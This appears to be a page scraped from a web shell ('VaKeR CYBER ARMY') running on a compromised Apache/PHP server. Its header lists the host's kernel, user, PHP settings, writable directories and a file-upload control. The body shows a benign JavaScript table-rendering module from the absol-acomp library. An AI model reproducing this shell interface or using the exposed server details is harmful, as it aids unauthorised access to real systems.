VaKeR CYBER ARMY
Logo of a company Server : Apache/2.4.41 (Ubuntu)
System : Linux absol.cf 5.4.0-198-generic #218-Ubuntu SMP Fri Sep 27 20:18:53 UTC 2024 x86_64
User : www-data ( 33)
PHP Version : 7.4.33
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
Directory :  /var/www/html/libs/absol-full/dist/js/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /var/www/html/libs/absol-full/dist/js/mdls__absol-acomp__js__dynamictable__DTDataAdapter.js
/*** module: node_modules/absol-acomp/js/dynamictable/DTDataAdapter.js ***/
"use strict";

Object.defineProperty(exports, "__esModule", {
  value: true
});
exports.default = void 0;

var _DTTable = _interopRequireDefault(require("./DTTable"));

var _ACore = require("../../ACore");


/***
 * @typedef DTDataRow
 * @property
 */

/***
 * @typedef DTDataBody
 * @property {DTDataRow[]} row
 */

/***
 * @typedef DTDataHead
 * @property {DTDataHRow[]} row
 */

/***
 * @typedef DTDataTable
 * @property head
 * @property body
 * @property {number} rowsPerPage
 * @property {number} fixedCol
 */

/***
 *
 * @param {DynamicTable} tableElt
 * @param {DTDataAdapter} opt
 * @constructor
 */
function DTDataAdapter(tableElt, opt) {
  this.tableElt = tableElt;
  /***
   *
   * @type {null|DTDataTable}
   */

  this.data = null;
  this.rowsPerPage = 20;
  this.fixedCol = 0;
  Object.assign(this, opt);

  if (this.fixedCol === 0) {
    this.tableElt.removeClass('as-has-fixed-col');
  } else {
    this.tableElt.addClass('as-has-fixed-col');
  }
}

DTDataAdapter.prototype.revoke = function () {
  this.tableElt = null;
  this.data = null;
};

DTDataAdapter.prototype.render = function () {
  if (this.tableElt.table) this.tableElt.table.revokeResource();
  this.tableElt.table = new _DTTable.default(this.tableElt, this.data);
};

DTDataAdapter.prototype.renderHeadCell = function (elt, data, controller) {
  if (data.child) {
    if (data.child.map) {
      elt.addChild(data.child.map(function (it) {
        return (0, _ACore._)(it);
      }));
    } else {
      elt.addChild((0, _ACore._)(data.child));
    }
  }

  if (data.render) {
    data.render.call(null, elt, data, controller);
  }
};

DTDataAdapter.prototype.renderBodyCell = function (elt, data, controller) {
  if (data.child) {
    if (data.child.map) {
      elt.addChild(data.child.map(function (it) {
        return (0, _ACore._)(it);
      }));
    } else {
      elt.addChild((0, _ACore._)(data.child));
    }
  }

  if (data.render) {
    data.render.call(null, elt, data, controller);
  }

  if (data.style) {
    elt.addStyle(data.style);
  }
};

var _default = DTDataAdapter;
exports.default = _default;

VaKeR 2022